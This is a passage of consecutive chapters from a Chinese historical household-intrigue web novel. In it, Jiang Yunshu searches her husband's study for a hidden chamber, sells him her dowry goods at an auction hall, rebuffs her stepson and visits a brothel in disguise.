都精心布置过,庭院之中自然没什么异样,往里走,便是书房之内。 姜云舒带着长明大师进去,刚推门要往里走,就听得身后传来略带急促的声音。 “长明大师亲自前来,有失远迎,是本官失礼了。” 众人转身,就见沈清安已经到了庭院门口。 第122章 她是贤内助 瞧见沈清安的瞬间,月禾便皱起了眉头,心中暗自嘟哝。 “郭攀怎么没拦住他?” 她没说出来,只是抬头看姜云舒,姜云舒只朝她不着痕迹地摇摇头。 其实,沈清安会及时赶回来,姜云舒并没有任何意外,毕竟,他早知道长明大师会来。 所以,今日这出,便是预判他的预判。 大概是来时着急,此时沈清安虽极力平稳呼吸,但胸口的起伏和紊乱的气息还是压制不住。 “沈大人。”长明大师朝沈清安还礼。 沈清安深吸一口气,抬脚进了院子,先自己环视一圈,笑着问长明大师。 “下官这院子,可有什么不妥?” 长明大师虽不在朝,却是皇室寺院的最高僧,沈清安这一声“下官”算是对长明大师十分的尊敬了。 “听姜夫人说,这院子是沈大人亲自不知,如今看来,并无不妥。” “那就好,那就好!” 沈清安似是长舒了一口气,他抬了抬手,正要往外请长明大师,却听姜云舒先开了口。 “那就再劳烦长明大师进内室看看,听说文人书案最为讲究,便是笔架摆放也有讲究。” 说着,姜云舒看向沈清安,“沈大人清廉,如今书房架子上都没几件摆件,也正趁此机会让长明大师给些建议,届时我好为大人准备。” 这话出口,真真是一位贤内助为夫君处处操持的模样。 沈清安顿了一下,下意识以为姜云舒是要送他,原本防备的沈清安缓和了些许。 更何况,如今他也已经在跟前了,有他亲自跟着,长明大师也看不出什么。 “如此,那就劳烦长明大师了。” 说着,他抬手,子固紧忙上前开了门。 虽说也不是第一次进沈清安的书房,可白日里光线就是不一样,光芒自门窗透进来,落在书案上,让人有种莫名的明朗感觉。 书案背后是一套黄花梨的架子,上面摆放着皇上赏赐的物件和书籍。 御赐之物是荣誉,但的确如子固所说,的确不多,只是一背墙,竟连半数都摆放不满,甚至还不如老夫人房间里的。 要说这屋里布置简单,有什么机关并不容易隐藏,可来过两次,竟都没有发现端倪。 姜云舒视线在四处扫着,正寻思,就听长明大师看向桌上的文昌塔。 “这文昌塔……” “这文昌塔便是之前尚品堂的客人送的,说是从清风观求来的,那黑心道观的东西不可留,子固,将这东西扔了!” 沈清安命令一声,见子固带了文昌塔出去,又转向长明大师,“改日,我们再去崇光寺求一樽文昌塔,届时还劳烦长明大师为塔开光。” “阿弥陀佛。” 长明大师算是应了,随即又朝刚才放置文昌塔的位置指了指,“文昌塔应摆放于左侧,避免与观音像正对。” 沈清安顿了一下,这才反应过来,长明大师刚才是想指出位置不对,反而是他太过紧张了。 他下意识看了姜云舒一眼,却见姜云舒的视线一直跟着长明大师,似是很认真在记长明大师交代的适宜。 原不知道,原来她在管家时,竟是这般神情。 众人在清竹园并未逗留太长时间,紧接着便去了姜云舒的院子。 姜云舒的院子相比之下就更简单了,除了自北夷边境带来的花草,便是那一长排的武器架子,倒是更显别具一格。 以往沈清安来时,都是匆匆过来,与姜云舒你来我往地唇枪舌战一番,然后憋着气离开,今日这一遭倒是难得静下心来,细细观察。 不知为何,明明这院子略显清冷,却让他心里的浮躁莫名沉静下来。 或许,得空的时候,是应该来她这里坐坐,听说,姜云舒泡的一手好茶…… 正想着,就听耳边传来冷冷的声音。 “沈大人,让让,您踩着我的蛇了!” “什么!” 沈清安一声惊叫都破了音,整个人原地蹿起来。 月禾瞧着他,忍不住翻了个白眼,随即蹲下身,伸手,一条翠绿色的小蛇便顺着她的手爬了上来。 “蛇,蛇!你怎么还敢在庭院之内养蛇呢!”沈清安吓得脸都白了。 岩城治理水患三年,他最怕的就是蛇,尤其那种藏在水里的蛇,冷不防就被咬一口,想想都感觉浑身寒凉! “这有什么的,翡翠原本也一直在庭院里,你不招惹它,它又不咬你,便是老夫人第一次见,也没见像您这样大的反应啊!” 月禾不以为意地将小蛇收进了袖内。 沈清安嘴唇哆嗦着,听她提及老夫人,这才意识到,回来之后,每次又是找姜云舒,她都是让自己来,原来不是不想动,而是怕姜云舒院子里的蛇。 他黑着脸蹙了蹙眉,“不管如何,院子里养这些东西终究是……” “沈大人若是不喜欢蛇,往后有事差子固来通报便是。”姜云舒直接打断他的话,也断了他以后来揽芳院的路。 沈清安猛的一下被噎了个结实,瞪着眼,半晌没说出话来。 沈家四进的院子,后院主子不多,结构也简单,一个时辰后,长明大师便要回去。 沈清安和老夫人想留长明大师用斋饭,却被姜云舒拦住。 “如今寺内诸事繁多,长明大师下山也是忙里抽空,其他事情,日后再说吧。” 说着,姜云舒不由分说地让马车过来,等长明大师与沈清安和老夫人道别后,径自带着人离开了。 沈清安在门口送,远远看着马车离开的背影,不由得蹙起眉头。 今日诸事看起来很顺利,并无破绽,可这一直在跳的左眼皮,让他心里莫名不安。 马车上,姜云舒给长明大师递了茶,问:“大师可在清竹园的书房之中发现了什么地方不对劲?” “沈大人书房,表面格局布置并不不妥,只是,那背墙内里空虚,若没有猜错,里面应有密室。”长明大师回答。 “是,之前我进去过,能确定里面的确有密室,但密室入口却一直找不到。”姜云舒蹙了蹙眉。 正因为找不到,所以才请长明大师过来。 “整个后背墙我全都翻了一遍,就连桌案和旁边的架子也试过了,并未发现机关。”月禾也忍不住开口。 长明大师低头浅浅抿一口茶,视线在姜云舒和月禾脸上扫过,随即看向了上方。 第123章 展卖场 “您这是……” 姜云舒和月禾跟着长明大师的视线往上看,目光触及马车顶上的瞬间,一下子反应过来。 “是房梁上的三宝钱币?”月禾眸光一闪,“难怪在四周和地面上都找不到机关入口,原来竟在屋顶上!” 姜云舒倒是没说话,只是想了想,又蹙起眉头。 沈清安不会武功,能将机关设置在那么高的地方? 她想不通,便看向长明大师,“大师看都看了,便别再藏着,只跟我说天机不可泄露了吧。” “阿弥陀佛。” 长明大师低念一声,“贫僧可听风辩位,判断与暗室连接的地方在上方,但并未亲自验看,究竟事实如何,还需你们亲自辨认。” 说完,长明大师闭上了眼睛,嘴唇微动,又在默默诵经了。 这些修身之人都这般神神秘秘的,有什么话直接说不就好了,这么多弯弯绕绕。 送了长明大师,又回到沈家。 姜云舒和月禾刚进门,就见几个工人在前厅院内进进出出,一问才知道,是老夫人让沈管家招来的工匠,说是要改荷花池。 “要不说老夫人惜命呢!长明大师刚说完,这工匠都找来了。”月禾撇着嘴冷哼一声。 姜云舒挑眉朝进出的工匠瞧一眼,还没说话,就见沈管家朝她走了过来。 “姜夫人,您可终于回来了。” 此时沈管家面对姜云舒,脸上的褶子都快笑成沟壑了。 原以为,沈清安回来,这沈家后宅便是高芝兰说了算,尤其姜云舒将中馈交出之后,他再见姜云舒可比以前冷淡了许多,可谁知道,这才一两个月的功夫,这掌管后宅的权利又落在了姜云舒手里! 这两日,沈管家可是过得战战兢兢,不过两天过去,姜云舒并没有找他麻烦,便也慢慢放轻松了,只是再面对姜云舒,便更多了几分谄媚。 “沈管家有什么事?”姜云舒清冷开口。 “之前您说,大人书房里摆件太少需要添置,您看是从库房里拿,还是另外买?”沈管家笑眯眯地问。 这话他自己没觉着有什么问题,可听在姜云舒耳朵里,却是一下子就察觉到了不对劲。 什么叫从库房里拿? 原本沈清安的东西都是从公中库房里选的,他挑剩下的还能给他往书房摆吗?沈管家这意思,是要从她姜云舒的库房里拿啊! 谁都知道,姜云舒陪嫁的不管金银玉器,名人字画,随便拿出一件都是令人咋舌惊艳的,自然能让沈清安满意。 若是从前,姜云舒或许真的会认真挑选几样送他,可如今,她又不是什么冤大头,凭什么拿自己的东西来哄别人开心? “沈大人的意思呢?”姜云舒眼睛微眯。 “沈大人说,全听姜夫人安排。”沈管家连忙道。 姜云舒蹙了蹙眉,似认真想了想,回答,“原本大人书房里的东西也是从库房选的,剩下的定然是看不上的,如此,便买新的回来吧。” “是!那老奴便……” 沈管家的话还没说完,就见沈清安从内院出来,见姜云舒在,径自走了过来。 “长明大师可平安送回?”沈清安问。 “嗯。”姜云舒点点头,态度平淡,不近不远。 “辛苦你了。” 沈清安开口,说话间伸手去拉姜云舒,却被她不着痕迹地避开了。 沈管家在旁边看着,眼珠子一转,紧忙对沈清安道:“方才姜夫人正说着呢,要为大人重新挑选书房摆件,不知大人可有什么喜欢的?” 听到是给他书房布置东西,沈清安神情似是瞬间好了许多。 “我听说明月楼最近开了展卖场,很多人开了展卖口,不如,我们去看看。”沈清安看向姜云舒。 都说女人最喜欢花银子买东西,以前在岩城,他便时拿银子让高芝兰出去买东西哄她开心,想来姜云舒也一样。 原本姜云舒是要将采买的差事交给沈管家的,可听沈清安提及明月楼的展卖场,她眉梢一挑,竟意外的没有拒绝。 一炷香后,沈家的马车停在繁荣街街口,姜云舒和沈清安下了马车朝明月楼的方向过去,此时,接近傍晚,正是人多的时候。 上个月,明月楼装修了一楼大厅,原本歌舞的地方,此时改成了一处五角楼亭,五面方向分开,每一侧都有一处供人租用的展柜,上面展示着各样奇珍异宝。 有人卖东西是为了手头紧缺,拿了家里的东西来换银子,有人则是专门为了显摆家里阔绰,把不用的东西卖了,其中一处最大的展卖柜,是明月楼自己售卖的好东西,总之各种各样,即便不买,只是看看也算长见识。 姜云舒和沈清安进来时,便有明月楼的万掌柜迎出来。 “哟,县主来了,今儿可是要品尝品尝咱们明月楼的新菜品?” “新菜品不急,今日我陪沈大人选几样看得上的物件,装饰书房。” 姜云舒扭头看万掌柜,“万掌柜可有好的给我推荐推荐?” “哟,瞧县主这话说得,要说物件,咱们展卖场里,谁家的东西能有县主您的开眼呢!”万掌柜笑着摆摆手。 沈清安原本还盯着别处看,听得万掌柜这话,紧忙看向姜云舒,“这里还有你的卖场?如此,便去看看吧!” 原来,姜云舒说让他亲自挑选,便是来这展卖场挑选么? 想着姜云舒将自己的东西摆在面前让他挑选,沈清安只觉心口涌起一股虚浮的得意,她到底是还在乎他的,只有对在乎的人,才会想着将自己的好东西捧到他面前。 说话间,万掌柜已经领着众人到了姜云舒的展卖口。 姜云舒展卖的有雕工精美的玉器,精织纺工的布匹,还有带着地域特色的物件,另外便是名人字画。 虽说数量不多,但每一件拿出来都是让人啧啧称奇的存在,而此时还没有卖出,完全是因为价格昂贵,一般人家可买不起。 沈清安对这些东西虽不精却也略知一二,尤其知道姜云舒的东西,要么是北夷皇室的战利品,要么是便是宫里才有的东西,随便哪一样,都比他书房里最好的那件还要名贵珍奇。 而此时,二楼雅间上,谢无烬正居高临下的看着一楼展厅,他的视线凝在姜云舒身上,见姜云舒竟对着沈清安笑,眯起的眸中带出丝丝寒凉。 笑什么,她为什么会对着沈清安那个绣花枕头笑得这样开心! 第124章 吃醋 “沈大人看看,有什么喜欢的,随便挑。”姜云舒朝沈清安笑了笑。 此时她眼睛里的沈清安,哪里还是什么负心汉,分明是捧着白花花银子的散财神啊! 沈清安闻言心中一阵兴奋,他的“想要”压制住了矜持,当即便挑了好几样玉器和几幅前朝名家字画。 万掌柜在旁边帮着讲解,见沈清安一样一样选中,笑着恭维。 “沈大人不愧是当年的探花郎,眼光就是好,听说,当年有人为了明夜大师一幅画,出万两银子求购呢,您也是赶上了好时候,如今这幅画不用万两,只两千两就能买下。” 说着,他拿起手里的金算盘,噼里啪啦拨弄了几下,拿给沈清安看。 “您看,是现银还是派人去您府上拿?” 毕竟是前两万两的东西,谁没事儿带那么多银子出来?不过没关系,咱有上门服务。 沈清安拿着字画的手一顿,低头看着万掌柜给出的价格,原本脸上的笑容一下子僵住。 “这不是云舒的东西吗?怎么还要钱?” 许是太惊讶,沈清安的声音比平常高了些,引得旁边众人纷纷朝这边看过来。 万掌柜收回算盘,看向沈清安,语调也微微沉了下来。 “虽说沈大人与县主的确是一家,可到了展卖场的东西,卖出一件都要与我明月楼分红的,更何况,如今这账目上记录在册的是乐安县主,并非是沈家。” 说话的功夫,便有小二将登记册拿过来,账面上各样物件记录的都是乐安县主,而非沈姜氏。 沈清安拧着眉头不看那账目,转而看姜云舒,“云舒,你不是说要为我布置书房?” “是啊,你看上的就买回去。” 姜云舒回答得顺其自然,刚说完,突然间反应过来,又惊讶出声,“沈大人该不会以为是我要送你的吧?” 沈清安脸上肌肉颤了颤,脸色变得难看。 他可不就是以为姜云舒要拿自己的东西送给他嘛! 成婚以前,她也送了不少好东西,如今帮他布置书房,送他几件喜欢的,这不是她应该的吗? 见沈清安不回答,姜云舒“好心”与他解释,“我这些东西是要拿来换银子的,不过没关系,大人若是看得上,我给你九成的价格!” 这可是亲情价了! 沈清安的表情都快裂开了,脸色涨红,额间青筋隐隐爆出。 他还没说,此时周边看热闹的众人开始小声议论起来。 “之前租借展口时,听说乐安县主卖出的东西,银子是给清风村的,这沈家不出力也就算了,怎么还来抢这个钱?” “就是,往年粥棚虽说打的是沈家的名,可出人出力出粮都是乐安县主,沈家怎么好意思哟!” “这有什么不好意思,这沈大人向来脸皮厚,他能在三年内从探花郎直升五品官员,还都是定国将军府托举的呢,如今呢……” 此时众人看沈清安的眼神带着诡异的审视,看得沈清安仿佛被烈火灼烧一般。 万掌柜听着众人的议论声,问沈清安,“沈大人,您挑好的这几样,还买不买?” 沈清安攥起拳头,恶狠狠的瞪了姜云舒一眼,姜云舒迎着他的视线,抿了抿唇角。 “不买也没关系的,咱们展卖场是正经买卖,不会强买强卖。” 姜云舒笑得无害,却让沈清安太阳穴突突地跳着疼。 此时在场众人的视线都落在他身上,小声的议论,好像蚂蚁一般在他耳朵里爬,声声都在指责,他是攀附定国将军府的软饭男。 “买,谁说不买了!子固,给银子!”沈清安咬着牙,眼睛瞪着姜云舒。 此时子固的脸色也有些难看,他此时手里的确有一万多两银子,可那是准备给尚品堂采买药材和下月沈家的花费啊! 这银子提前花出去,高夫人那边怎么交代? “大人……”子固犹豫想劝。 “给银子!”沈清安怒喝一声,打断了子固后面没来得及出口的话。 子固没办法,只能跟着万掌柜去结账。 此时沈清安憋着怒火,看向姜云舒的眼神依旧不善。 “呵,你可真是会做生意!” 姜云舒自然明白他是什么意思,却又装不明白,略显无奈的叹一口气。 “皇上将清风村一带交给我,我自然要为百姓负责,沈大人是知道的,官位在身,便是职责在身,可户部又不给我拨款项,我只能卖嫁妆养活我的村民,可真是命苦。” 沈清安:“……” 皇城之下,姜云舒有自己的村民,即便都是灾民,可封地临着京城,便是皇子公主都不曾有的殊荣,她还在这里叫苦? 更何况,她可是沈家当家主母,她的银子不给沈家老小,却拿去养无关紧要的灾民,这像话吗! 可偏偏她的话又找不出意思缝隙。 气不过,也说不过! 他咬牙半晌,愣是没能反驳一句,见子固结了账,抱着他“天价”买来的东西,怒气冲冲地出了明月楼。 姜云舒扭头与月禾对视,两人眨眨眼睛,笑意自唇角漫开。 此时二楼雅间,谢无烬透过纱帘看到姜云舒脸上浮起的笑容,脸色阴沉到底。 她竟然送东西给那个废物! 须臾,姜云舒与万掌柜做了记录,便带着账册回到了她定下的雅间。 这个月,除了沈清安刚才拿走的东西,姜云舒的展口卖了十七件东西,到底是外来的东西猎奇,京城的公子哥没见过北夷的东西,贵点也得买回去赏玩赏玩。 正核算,此时听得门口传来敲门声,姜云舒只当是月禾回来了,也没问,便应了一声。 “进来。” 门开了,却没有脚步声音,姜云舒察觉不对,抬头,此时谢无烬已经到了跟前。 与往常唇角含笑杀意内敛不同,此时他满脸的怒意就真真切切表现在脸上。 “方才,沈清安带走的东西是你的?”他张口就问,语气之中带着怒意。 “是啊。”姜云舒下意识点点头。 听她回答,谢无烬眉头也跟着拧了起来,“你怎么能将东西给他那个绣花枕头!” 他怒气冲冲,像是自己的东西被抢了。 第125章 把我给你,行吗 眼瞧着他这表情,明显是闹别扭的感觉,姜云舒一脸不解,“他出高价啊,我当然要卖给他了。” 若是以前,夫妻恩爱同心,她或许会在沈清安需要的时候,用自己的东西添补给他,可现在,绝无可能。 谢无烬眉梢一展,心情又莫名好了。 “卖?你卖给他的?真不是你送的?”谢无烬又追问。 姜云舒看着他表情变了好几变,忍不住暗抽了抽嘴角。 不是,她凭什么要被质问? 她自己的东西,卖给谁都是她的自由,更何况,她就算给沈清安送东西,为什么要跟他解释? 最多他就是个“前”婚约对象! “不然呢,难不成是我送的?你看我像什么缺了心智的冤种吗?”姜云舒眼皮一翻。 “不像不像,那绣花枕头才是缺了心智的冤种!”谢无烬脸上阴翳一扫而空。 “怎么说话呢,我可是正经买卖,童叟无欺,谢世子要不要也来一两件?”姜云舒挑眉看他,一边说话,低头喝一口茶,发现茶没了,又放回桌上。 谢无烬也瞥着她,撇了撇嘴,“不过是北夷的东西,本世子想要便自己去征战,如今还得花银子买,才不稀罕,” 他一边嫌弃着,抬手给姜云舒跟前的茶续满。 姜云舒顺其自然地端起来喝了一口,随即朝他伸手,“那这个呢?” 她展开掌心,是一只木雕的鹰,用的是乌木,鹰眼下还点着一撮白毛,正是黑仔。 谢无烬瞧着那木雕的鹰,眼睛一亮。 “送我的?” “不是你要的吗?”姜云舒眨眨眼睛。 谢无烬弯着眼睛,伸手将那木雕拿了过来,此时的笑容如暖阳,没了平日隐藏的阴翳。 “这个喜欢!” “既然谢世子喜欢,那我能不能请教你一个问题。” 姜云舒瞧着他的表情,见他没拒绝,直接问:“听说黑仔这样的鹰,是可以听从指令的,世子是如何让黑仔能听从你的指令的?” “你想做什么?”谢无烬眉梢扬起,若有所思的看着她。 还没回答,他先抛出一个问题,啧,这人还真是斤斤计较。 这双方试探的拉扯感,让姜云舒直接给了他个白眼。 “我若告诉你,你又给我什么好处?” 说着,她朝谢无烬伸出手来。 谁还不会了! 谢无烬的视线在姜云舒脸上和手上流连了一翻,紧接着,他往前一探身,将下巴抵搁在她的手心里。 “把本世子给你,行不行?” 他这…… 两人面对着面,夕阳的光辉自窗外洒进来,落在谢无烬的脸上,他的眼睛里仿佛流淌的漫天的星河,晃得姜云舒心口倏然一动。 “我,我对你的人头不感兴趣!”她迅速收回了手,仿佛被烫到了一般,下意识搓着。 这种慌乱又心跳加速的感觉,便是刚遇到沈清安时,也从未出现过。 傍晚,姜云舒和月禾回到沈家时,天已经擦黑了。 让姜云舒意外的是,沈清安竟没有来找她的麻烦,整个沈宅似乎也比预想中平静。 两人相互交换了一个眼神,径自回到揽芳院,便躲在屋内研究沈清安的书房结构。 沈清安的书房就那么大,今日所见背墙上摆件也有限,几乎也都挨个碰过,的确如长明大师所说,只能往上找了。 “或许,那机关就在我们感知不到的地方呢。” 姜云舒说着,不知怎么,冷不丁扭头看了一眼门口的黑鹰。 “这段时间,你与黑仔多培养培养感情,说说话。”她对月禾说。 月禾正绞尽脑汁想机关入口,冷不防听姜云舒岔开话题,唇角狠狠一抽。 “我的小姐,都说了他是鹰,不是鹦鹉,您想听它说话,我不我俩给您来段双簧?” 小姐这是什么爱好,就喜欢听鸟说话! 想想,这要是老鹰一张嘴来句“见过小姐”,那还不得吓死? 姜云舒深吸一口气,“我的意思是,当时在宫宴上,它能听从谢无烬的话来找我,那我们也一定能让他听我们的话,帮我们找东西,相比人,它可方便多了!” 月禾楞了一下,似乎突然间反应过来。 对啊,它是老鹰,寻找猎物特别的精准! 想到这里,她眼中难以压抑的兴奋涌上来,抬手将鸟架子摘了下来。 “黑仔,说句话!” “放开我!” 这时,冷不丁的声音传来,月禾吓得一激灵,险些将手里的鸟架子扔出去。 好不容易稳住了鸟架子,扭头一看,院子里吵闹的竟是沈长元。 “放开我,我要进去!” 沈长元一边喊,一边从门外妈妈的手里挣扎。 姜云舒顿了一下,抬手,黑鹰扑棱着翅膀回到鸟架子上。 “让他进来吧。”姜云舒朝外面吩咐一声。 妈妈得了命令,这才松手,沈长元朝妈妈恶狠狠瞪一眼,转身朝屋内跑来。 “你来做什么?”月禾不客气地问。 “我来找她。”沈长元抬手指向姜云舒。 一个“她”,听得月禾忍不住冷笑出声,原来还叫一声娘,如今亲娘回来了,就变成了“她”? 不得不承认,他们沈家人这翻脸不认人的本事,可真是家传的。 相比月禾的气愤,姜云舒倒是平淡许多,毕竟,没有了期待,也就不会有失望,从沈长元奔向高芝兰,反而污蔑她苛待他时,这母子之情也就断了。 “你来找我什么事?”姜云舒开口,声音清冷疏离。 沈长元似是感觉到姜云舒的冷漠,用力抿了抿唇才开口。 “我要买狼毫笔,我那些同窗用都是狼毫笔,我也要!” 说起这个,沈长元似是感觉委屈,一张小脸气鼓鼓的。 原本,他是去找老夫人要的,可老夫人正头疼,便将他支到了姜云舒这里。 毕竟,如今沈家是姜云舒掌管中馈,沈长元要狼毫笔也应该跟她要。 姜云舒没接沈长元的话,转而问他,“听说这次小测,你只背会了一半,我若没记错,那篇文章是在你爹娘回来之前,我便要求你背会的。” 一句话,戳了沈长元的肺管子。 沈长元当时便没了来之前的气势,他眼珠子转了两圈,推诿开口。 “我原本也是会的,但是时间太长了,我又忘了……” 说着,他抬眼看姜云舒一眼,紧忙保证,“我会努力的,但是,你得给我买狼毫笔才行。” 姜云舒蹙了蹙眉,她不愿跟一个孩子计较,勉强耐着性子道:“你所在崇文书院外院,其中都是朝中官员子弟,而你爹的官位相比之下稍显低微,你用狼毫笔会招来不必要的麻烦,想来,你也应该跟你爹要过的,他没给你,你才来找我要。” 这句话,倒不是故意贬低沈清安,毕竟,以沈家这门第,沈长元是进不得崇文书院的。 高芝兰没有给沈长元准备狼毫笔,想来也是被沈清安叮嘱过,否则以她那张扬的性子,定然会给沈长元准备最好的。 沈长元眼神躲闪,明明自己理亏,却还像是受了委屈一般,噘着嘴。 “之前,我明明是要什么你就给我什么的……” 第126章 你能不能还给我当娘 姜云舒挑眉看他,只觉无语又可笑。 就因为是孩子,所以,说的话可以随便反悔? “以前,我是你娘,我给你买的东西就算挑最好的也没有人说什么,毕竟,我用的是自己的银子,而如今你只是沈家的少爷,在外顶着的是五品官员家少爷的名头。” 事实残忍,但他不无辜。 以前姜云舒是定国将军府的幺女,是即便在太后跟前,都是备受宠爱的孩子,即便嫁入沈家,她依旧是那个出身高贵,从皇宫正阳门出嫁的大小姐。 她能给儿子买什么好东西都是再自然不过,而沈家的少爷,就只能使用符合他身份的东西。 姜云舒说的是事实,可听进沈清安耳朵里,他却接受不了。 “他们都说,爹爹回来了,会有人给我撑腰,谁知他们现在倒是回来了,我反而过得还不如从前……” 他声音带着哭腔,好像受了多大的委屈,一边说着,抬头看姜云舒。 “要不,我不要那个娘了,我还叫你娘,行不行?” “你说什么?” 姜云舒眼皮动了动,视线凝在沈长元脸上,“这话,你敢不敢当着你生母的面儿说?” “我……” 沈长元一下子噎住,他回答不上来便低下头不看姜云舒。 他不回答,姜云舒也不再理会,转手端起茶杯,却见沈长元不知又怎么鼓起勇气,抬头看她。 “你是不是要去给恭王府家那个孩子当娘了?”他红着眼睛,仿佛受了什么委屈。 “谁说我要给恭王府的孩子当娘的?”姜云舒眸光一沉。 青鸢姐姐带着稚儿回来,也不过单独拜见了皇上皇后,身份并未对外公布,别人不知道稚儿的身份,更何况,青鸢姐姐一直将稚儿带在身边,如何却传出她要给稚儿当娘的谣言? 许是她的语气有些重,沈长元吓得缩了一下,也不敢回答,只红着眼睛看她。 “你不要我了,是不是?” 四五岁的孩子,泪眼婆娑的样子,的确惹人心疼,可姜云舒此时却疼不起来。 “是你不要我的。”她认真且郑重道:“当时,你当着你祖母和父亲的面儿,亲口说过,我不是你娘,你也不想做我的孩子,男子汉大丈夫,出口便是立誓。” 别拿小孩子不懂事当借口,孩子虽稚气,却最懂得衡量利弊,尤其会追逐他以为的好处。 尤其沈长元这种,暗中小心思多的孩子,真真是完美继承了沈清安的算计。 沈长元楞了一下,抬头看着姜云舒,须臾,“哇”的一声哭了出来。 “我后悔了,我还小,你怎么能跟我计较呢!” 他坐在地上,眼泪哗啦哗啦地往下落。 这一哭,倒是让姜云舒一时愣住。 呵,要不说是沈家的血脉呢,这套占了便宜还卖乖的本事,真真是丝毫不差,尤其这种拿道德往别人身上套的本事,更是青出于蓝。 不过这些日子,他在高芝兰那里到底是受了什么罪,竟委屈成这样? 她想不明白,也不愿多费那个心思。 姜云舒蹙眉,片刻,转过身不看他。 “没有后悔的余地。” 他可以后悔,她也可以不跟他计较,可他终究是沈清安和高芝兰的儿子,从他出现在她面前就是个骗局,而那个时候,便是沈长元这个孩子,也知道真相。 冰冷的一句话,让沈长元的哭声顿时停住,他瞪大眼睛,难以置信的看向姜云舒。 她怎么能这样说呢?不是说知错能改还是好孩子吗?为什么就没有后悔的余地了呢! “我不要,你自己说要给我当娘的,你为什么说话不算数!” “他们说,你是沈家的主母,你就得给我当娘!” 沈长元躺在地上,又哭又闹,真真撒泼打滚的那一套。 姜云舒看着他头疼,也没了耐心,摆摆手,“白芷,送他回去。” 白芷紧忙叫着两个丫鬟进来,三个人将不停扭打挣扎的沈长元带了出去。 院子里送算是安静下来,月禾朝着院外忍不住一跺脚。 “真是个狼心狗肺的东西,跟他爹一个德行!” 说什么来认娘,分明是在高芝兰那里没有得到满足,又觉着小姐好了,这才想回头,世上哪里那么多让你后悔的事儿? 姜云舒只觉着头疼,抬手压了压太阳穴,此时,一道黑影自窗户闪过,回头,冥风已经跟黑鹰打起来了。 黑鹰爪子锋利,不停扑棱着翅膀朝冥风进攻,冥风见这畜生是在姜云舒屋子里的,自然不能伤它,一时只能防守,竟真被纠缠住。 “哎哟,我的天爷!” 月禾惊呼一声,紧忙上前,将黑鹰拽住,“祖宗,自己人,这是自己人!” 黑鹰被月禾抱着,那畜生劲儿大架不住月禾劲儿更大,猛地蹿了蹿没窜出去,也就老实了,只是那双锐利的眼睛,依旧不善地瞪着冥风。 冥风从黑鹰爪下逃离出来,到姜云舒跟前,单膝跪地。 “属下参见小姐。”冥风上前行礼。 姜云舒转身,视线在冥风身上扫过。 “什么时候回来的?”她问。 “城门关闭之前。”冥风回答。 “这些时日辛苦你了。”她摆摆手,叫冥风起身,给看向月禾。 城门关闭之前进城,自然是一路赶回来,连夜饭都没吃。 月禾会意,将黑鹰锁在鸟架子上,免得它再朝冥风伸爪子,随后才端了点心和热茶过来。 “刚刚送来的点心,新鲜着呢,你快吃些。” 月禾说着,视线在冥风身上扫过,见她兄长没有受伤的样子,暗自松了一口气。 最近她总是梦到兄长受伤回来,半夜都被惊醒,又不敢告诉小姐,只能自己担心着,如今见他平安归来,悬着的一颗心总算是落了下来。 冥风只喝了口茶,先禀报正事。 “沈清安在岩城的确有产业,不过他行事谨慎,所有产业店铺分散开来,在不同人名下,这些店铺每年分红的总和是两万两左右,但……” 他停了一下,又道:“这些店铺除了维持日常消耗,并无存项,目前亦未查到银钱流向。” 姜云舒正拿着剪刀剪烛心,闻言动作一滞。 “两万两……”她低语,眸中闪过疑虑。 这些年,除了崔家每年送来的五千两,沈清安名下还能存下一万五千两,但他却没有存项,这么大一笔银子,究竟去了何处? 姜云舒眉心蹙起,不知为何,心中隐隐不安。 银钱流向还要继续调查,就听冥风再次开口。 “小姐命属下盯着的人,傍晚已经抵京,人被送到了万宝楼。”冥风应道。 “终于来了啊,可真是让给我好等。” 姜云舒眉梢轻挑,“如此,明日我们便去万宝楼。” 第127章 万宝楼 翌日。 姜云舒与月禾自马车上换了男装,马车过了护城河的桥头,调转方向,半个时辰后,便到了万宝楼的正门。 大门上方一块镶着花枝绿叶的匾额上“万宝楼”三个大字在阳光下熠熠发光。 大门口处是分三个台阶接连着街道,台阶最上的两旁是两尊黄水晶七星阵,乃敛财金宝的寓意。 再往外,种的都是玉兰水仙丁香花,清淡的花香混合着里面女子的脂粉香,味道在大街上蔓延,引得过往的众人都不由得放慢了脚步。 月禾站在门口,亦是震惊地看向姜云舒。 “小姐,这是青楼?” 且说是哪家富商的后院亭宅也言之不过。 虽说都是青楼,可还是三六九等的区分,而万宝楼则是风雅之地,文人墨客吟诗作对居多,也有商人包了雅间谈生意。 当然,这些场合都需要身姿美妙的女子作陪。 “京城之中,无奇不有。” 姜云舒勾了勾唇角,抬脚往里走。 月禾回过神来,紧忙跟着去。 过了大门就是一条长廊,便是姜云舒也不由得惊艳。 这里面的装潢更是讲究,勾梁雕画,每一处摆设都有它的意义,甚至院子里摆放的花草也是带着寓意,只是装潢,便也超出了人们对青楼的认知。 “哎哟!” 正在姜云舒和月禾惊讶之际,身后传来一声带着嗲得让人骨头酥麻的惊叹,转脸,只见一个满脸堆笑的中年女子朝着她们走了过来。 此人正是这万宝楼的鸨母,梅三娘。 不似印象中那些浓妆艳抹的形象,这梅三娘虽满脸堆笑却并非叫人发腻,而是自体态之间透着媚骨天成半自带三分含情。 便是跟在她身后的几个色彩鲜艳衣着华丽的女子,亦是一脸娇羞得恰到好处,没有丝毫浮夸,的确是极尽“风雅”。 眨眼的功夫,梅三娘已经到了姜云舒与月禾跟前,打眼在她们身上扫过,笑着开口。 “二位面生,不只是从哪里来的稀客呀。”梅三娘以团扇遮面,视线却在姜云舒与月禾身上打量。 男男女女她见多了,这二位的身段姿态,却让她一时间难辨雌雄。 看他们装扮是男子,可举手投足的细节之间,又透着一股女子独有的柔和,可若说她们是女子,眉宇之间却又带着杀伐的戾气,便是京城之中将门虎女也未曾见得这般英气凌厉。 这样的人,便是素衣立于众人之间,亦是引人注目的存在。 梅三娘自诩识遍京城高门子弟,他们明明是一口京城腔调,却从未听说过这号人。 奇了! “听说万宝楼最近收了一批南疆女子,南疆舞曲飞天精妙绝伦,不知在下是否有幸一饱眼福?” 姜云舒刚说完,月禾便掏出一个银元宝放在了梅三娘手中。 南疆女子美艳动人,每每花楼新得了南疆女子,便有无数人慕名而来,姜云舒不算早,已经是第六波了。 梅三娘见到元宝自是喜笑颜开,可下一瞬,却又为难起来。 她是收了几个南疆女子,可她下手不够快,只抢到了三人,而其中一人不光划破了脸,还烈性难驯,到如今打得皮开肉绽了,依旧拒不见客。 可到手的银子,岂有不放进口袋的道理? 梅三娘目光闪了闪,道:“飞天一舞的确难得一见,但我万宝楼的规矩也得提前跟您知会一声,新来的姑娘当月不开苞,所以您看……” 